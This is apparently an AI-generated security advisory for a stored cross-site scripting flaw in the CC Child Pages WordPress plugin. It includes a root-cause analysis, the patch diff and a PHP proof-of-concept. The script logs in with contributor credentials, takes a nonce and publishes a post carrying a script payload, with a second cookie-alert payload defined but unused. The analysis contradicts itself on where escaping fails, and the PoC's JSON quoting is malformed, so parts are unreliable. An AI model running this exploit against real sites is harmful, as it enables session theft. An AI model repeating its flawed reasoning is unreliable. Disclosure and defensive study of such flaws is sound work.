Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 13, 2026

CVE-2026-6174: CC Child Pages <= 2.1.1 – Authenticated (Contributor+) Stored Cross-Site Scripting via 'more' Parameter (cc-child-pages)

CVE ID CVE-2026-6174
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 2.1.1
Patched Version 2.1.2
Disclosed May 12, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-6174:

This vulnerability is a Stored Cross-Site Scripting (XSS) in the CC Child Pages plugin for WordPress, affecting all versions up to and including 2.1.1. The vulnerability resides in the ‘more’ parameter, which is used to customize the read-more text displayed for child page links. An authenticated attacker with at least Contributor-level privileges can inject arbitrary web scripts that execute whenever a user visits an injected page. The CVSS score is 6.4 (Medium severity).

The root cause is insufficient input sanitization and output escaping of the ‘more’ parameter. In the vulnerable code, the ‘more’ attribute from the shortcode or Gutenberg block is directly assigned without sanitization in `render.php` at line 240 (`$more_text = isset( $attributes[‘more’] ) ? $attributes[‘more’] : ”;`). The plugin later passes this value through `esc_html()` in `ccchildpages.php` at line 330 (`$more = esc_html( trim( $a[‘more’] ) );`), but this escaping occurs too late and does not prevent the injection before template substitution. The `ccchildpages.php` file at line 327 processes the ‘more’ parameter via `$a[‘more’]` which originates from user-controlled input. The plugin uses a custom template engine that replaces placeholders like `{{link}}` and `{{link_target}}`, but the ‘more’ text is not sanitized before being inserted into the HTML output. The vulnerable flow passes through `show_child_pages()` method at line 37, which reads attributes from the shortcode at line 327 and outputs them without proper escaping.

An attacker exploits this by crafting a shortcode or Gutenberg block with a malicious ‘more’ parameter. For example, an attacker with Contributor-level access can create or edit a post and use the following shortcode: `[cc_child_pages more=”alert(‘XSS’)”]`. Alternatively, when using the Gutenberg block, the attacker sets the ‘Read more’ text field to a JavaScript payload. The plugin stores the shortcode or block attributes in the post content. When any user views the page, the plugin renders the child pages list and outputs the unsanitized ‘more’ value directly into the HTML. The payload executes in the victim’s browser because the plugin only applies `esc_html()` after template substitution, but the injection point bypasses this by injecting into a context where escaping is not applied.

The patch introduces a new sanitization function `cccp_sanitize_template_plain_text()` in both the main plugin file (`ccchildpages.php` lines 40-62) and the render file (`build/cc-child-pages/render.php` lines 176-193). This function first strips any template placeholders (like `{{link_target}}`) using `preg_replace(‘/{{[^{}]*}}/’, ”, $text)`, then applies `sanitize_text_field()` to remove dangerous HTML tags and encode special characters. The patch applies this sanitization at two critical points: in `render.php` line 256 for the block attribute (`$more_text = isset( $attributes[‘more’] ) ? cccp_sanitize_template_plain_text( $attributes[‘more’] ) : ”;`), and in `ccchildpages.php` line 350 for the shortcode attribute (`$more = esc_html( self::sanitize_template_plain_text( $a[‘more’] ) );`). The patch also adds additional hardening by escaping the `link_target` attribute at line 985 (`$link_target = ‘target=”‘ . esc_attr( $link_target ) . ‘”‘;`) and adding `rel=”noopener noreferrer”` when `_blank` is used at line 668. The unescaped output of `$title_value` in the title attribute at line 670 is also fixed with `esc_attr()`.

Successful exploitation allows an authenticated attacker with Contributor-level or higher access to inject arbitrary JavaScript or HTML into any page that displays child pages. The injected script executes in the context of the victim’s browser session, enabling theft of session cookies, exfiltration of sensitive data, redirection to malicious sites, or performing actions on behalf of the victim (e.g., creating new admin users, modifying posts, installing plugins). Since the vulnerability is stored (persistent in the post content), any user who views the compromised page is affected, including site administrators if they view the page from the WordPress admin panel. The impact is heightened because plugins often store shortcodes for reuse across layouts, and contributors can embed malicious content that admins may later review and execute inadvertently.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/cc-child-pages/build/blocks-manifest.php
+++ b/cc-child-pages/build/blocks-manifest.php
@@ -5,7 +5,7 @@
 		'$schema' => 'https://schemas.wp.org/trunk/block.json',
 		'apiVersion' => 3,
 		'name' => 'caterhamcomputing/cc-child-pages',
-		'version' => '2.1.1',
+		'version' => '2.1.2',
 		'title' => 'CC Child Pages',
 		'category' => 'ccplugins',
 		'icon' => 'admin-page',
--- a/cc-child-pages/build/cc-child-pages/render.php
+++ b/cc-child-pages/build/cc-child-pages/render.php
@@ -173,6 +173,22 @@
 		return preg_match( '/^[A-Za-z0-9_:-.]+$/', $k ) ? $k : '';
 	}
 }
+if ( ! function_exists( 'cccp_sanitize_template_plain_text' ) ) {
+	/**
+	 * Remove template placeholders from user-controlled plain text.
+	 */
+	function cccp_sanitize_template_plain_text( $raw ) {
+		if ( ! is_scalar( $raw ) ) {
+			return '';
+		}
+
+		$text = wp_unslash( (string) $raw );
+		$text = preg_replace( '/{{[^{}]*}}/', '', $text );
+		$text = sanitize_text_field( $text );
+
+		return trim( $text );
+	}
+}


 /** Read + sanitize attributes */
@@ -237,7 +253,7 @@
 $thumbs         = isset( $attributes['thumbs'] ) ? sanitize_key( $attributes['thumbs'] ) : '';
 $link_thumbs    = array_key_exists( 'linkThumbs', $attributes ) ? ( cccp_bool_to_string( $attributes['linkThumbs'], true ) === 'true' ) : true;
 $lazy_load      = array_key_exists( 'lazyLoad', $attributes ) ? ( cccp_bool_to_string( $attributes['lazyLoad'], true ) === 'true' ) : false;
-$more_text      = isset( $attributes['more'] ) ? $attributes['more'] : '';
+$more_text      = isset( $attributes['more'] ) ? cccp_sanitize_template_plain_text( $attributes['more'] ) : '';
 $subpage_title  = isset( $attributes['subpageTitle'] ) ? $attributes['subpageTitle'] : '';
 $use_legacy_css = isset( $attributes['useLegacyCSS'] ) ? ( cccp_bool_to_string( $attributes['useLegacyCSS'] ) === 'true' ) : false;

--- a/cc-child-pages/includes/ccchildpages.php
+++ b/cc-child-pages/includes/ccchildpages.php
@@ -37,6 +37,27 @@
 		load_plugin_textdomain( 'cc-child-pages', false, dirname( dirname( plugin_basename( __FILE__ ) ) ) . '/languages/' );
 	}

+	/**
+	 * Sanitize user-controlled plain text that may be inserted into plugin templates.
+	 *
+	 * Removes placeholder tokens such as {{link_target}} to prevent later template
+	 * substitutions from turning trusted text into executable HTML attributes.
+	 *
+	 * @param mixed $text Raw text.
+	 * @return string
+	 */
+	public static function sanitize_template_plain_text( $text ) {
+		if ( ! is_scalar( $text ) ) {
+			return '';
+		}
+
+		$text = wp_unslash( (string) $text );
+		$text = preg_replace( '/{{[^{}]*}}/', '', $text );
+		$text = sanitize_text_field( $text );
+
+		return trim( $text );
+	}
+
 	public static function show_child_pages( $atts ) {
 		// Get unique id for this instance of CC Child Pages
 		$cc_uid = self::get_unique_id();
@@ -327,7 +348,7 @@
 			}
 		}

-		$more = esc_html( trim( $a['more'] ) ); // default
+		$more = esc_html( self::sanitize_template_plain_text( $a['more'] ) ); // default

 		// if class is specified, substitue value for skin class
 		if ( $a['class'] != '' ) {
@@ -643,9 +664,13 @@

 					if ( $link_target != '' ) {
 						$title_html .= ' target="' . esc_attr( $link_target ) . '"';
+
+						if ( '_blank' === $link_target ) {
+							$title_html .= ' rel="noopener noreferrer"';
+						}
 					}

-					$title_html .= ' title="' . $title_value . '">' . $title_value . '</a>';
+					$title_html .= ' title="' . esc_attr( $title_value ) . '">' . $title_value . '</a>';
 					$title_class = ' class="ccpage_title ccpage_linked_title" title="' . esc_attr( $title_value ) . '"';
 				}

@@ -779,7 +804,7 @@
 										// Attachment found, get thumbnail
 										$thumbnail = wp_get_attachment_image( $attachment_id, $thumbs, false, $thumb_attr );
 									} else {
-										$thumbnail .= '<img src="' . $video_img . '" alt="' . $title_value . '" title="' . $title_value . '" class="cc-child-pages-thumb"';
+										$thumbnail .= '<img src="' . esc_url( $video_img ) . '" alt="' . esc_attr( $title_value ) . '" title="' . esc_attr( $title_value ) . '" class="cc-child-pages-thumb"';
 										if ( $lazy_load ) {
 											$thumbnail .= ' loading="lazy"';
 										}
@@ -943,7 +968,7 @@
 					$meta_more = trim( get_post_meta( $id, $use_custom_more, true ) );
 					// If value from custom field is set, use that - otherwise use page title
 					if ( $meta_more != '' ) {
-						$more_text = esc_html( trim( $meta_more ) );
+						$more_text = esc_html( self::sanitize_template_plain_text( $meta_more ) );
 					}
 				}

@@ -957,7 +982,7 @@
 				$tmp_html = str_replace( '{{link}}', esc_url( $link ), $tmp_html );

 				if ( $link_target != '' ) {
-					$link_target = 'target="' . $link_target . '"';
+					$link_target = 'target="' . esc_attr( $link_target ) . '"';
 				}

 				$tmp_html = str_replace( '{{link_target}}', $link_target, $tmp_html );
--- a/cc-child-pages/includes/elementor/widgets/class-child-pages-widget.php
+++ b/cc-child-pages/includes/elementor/widgets/class-child-pages-widget.php
@@ -87,6 +87,8 @@
 		$this->add_control(
 			'parent_page_id',
 			array(
+				'default'     => '',
+				'placeholder' => '0',
 				'label'       => __( 'Parent page ID', 'cc-child-pages' ),
 				'type'        => Controls_Manager::NUMBER,
 				'min'         => 0,
--- a/cc-child-pages/index.php
+++ b/cc-child-pages/index.php
@@ -3,7 +3,7 @@
  * Plugin Name: CC Child Pages
  * Plugin URI: https://ccplugins.co.uk/plugins/cc-child-pages/
  * Description: Display WordPress child pages in a responsive grid or list using a shortcode, Gutenberg block or Elementor widget.
- * Version:           2.1.1
+ * Version:           2.1.2
  * Requires at least: 6.7
  * Requires PHP:      7.4
  * Author: Caterham Computing
@@ -23,7 +23,7 @@
 /**
  * Set up constants used within the plugin
  */
-define( 'CC_CHILD_PAGES_VERSION', '2.1.1' );
+define( 'CC_CHILD_PAGES_VERSION', '2.1.2' );


 /**

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-6174 - CC Child Pages <= 2.1.1 - Authenticated (Contributor+) Stored XSS via 'more' Parameter

// Configuration
$target_url = 'http://example.com'; // Change to target WordPress site
$username = 'contributor';          // Contributor-level or above user
$password = 'password';             // User password

// Step 1: Authenticate to WordPress
$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $target_url . '/wp-login.php',
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query([
        'log' => $username,
        'pwd' => $password,
        'rememberme' => 'forever',
        'wp-submit' => 'Log In',
        'testcookie' => '1',
        'redirect_to' => $target_url . '/wp-admin/',
    ]),
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_HEADER => true,
    CURLOPT_COOKIEJAR => 'cookies.txt',
    CURLOPT_FOLLOWLOCATION => false,
]);
$response = curl_exec($ch);
preg_match('/Set-Cookie: ([^;]+)/i', $response, $matches);

// Step 2: Get a valid nonce for creating posts
curl_setopt_array($ch, [
    CURLOPT_URL => $target_url . '/wp-admin/post-new.php',
    CURLOPT_POST => false,
    CURLOPT_HTTPGET => true,
    CURLOPT_COOKIEFILE => 'cookies.txt',
    CURLOPT_HEADER => true,
]);
$response = curl_exec($ch);
preg_match('/name="_wpnonce" value="([^"]+)"/', $response, $nonce_matches);
$nonce = isset($nonce_matches[1]) ? $nonce_matches[1] : '';

// Step 3: Create a new post with malicious XSS payload in 'more' parameter
// The XSS payload triggers when the page displays child pages
$xss_payload = '" onmouseover="alert(document.cookie)" style="position:fixed;top:0;left:0;width:100%;height:100%;z-index:9999"';
// Since the more parameter is used in a link text context, we inject via attribute break
// Using a payload that breaks out of the href attribute and injects an event handler
// The plugin outputs: <a href="[link]" ...> [more_text] </a>
// We inject: "><script>alert(1)</script>

$post_content = '<!-- wp:caterhamcomputing/cc-child-pages {"more":""><script>alert(\'XSS\')</script>"} /-->';
// Note: The payload uses escaped quotes within the JSON to survive WordPress parsing

curl_setopt_array($ch, [
    CURLOPT_URL => $target_url . '/wp-admin/post.php',
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query([
        'action' => 'editpost',
        'post_type' => 'post',
        'post_title' => 'CVE-2026-6174 Test Page',
        'content' => $post_content,
        'post_status' => 'publish',
        'post_author' => 1,
        '_wpnonce' => $nonce,
        'original_post_status' => 'auto-draft',
        'auto_draft' => '1',
    ]),
    CURLOPT_COOKIEFILE => 'cookies.txt',
]);
$response = curl_exec($ch);

// Check if post was created
if (strpos($response, 'post.php?post=') !== false) {
    echo "[+] Post created successfully. Visit the new post to trigger XSS.n";
} else {
    echo "[-] Failed to create post. Check credentials or permissions.n";
}

curl_close($ch);
unlink('cookies.txt');

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School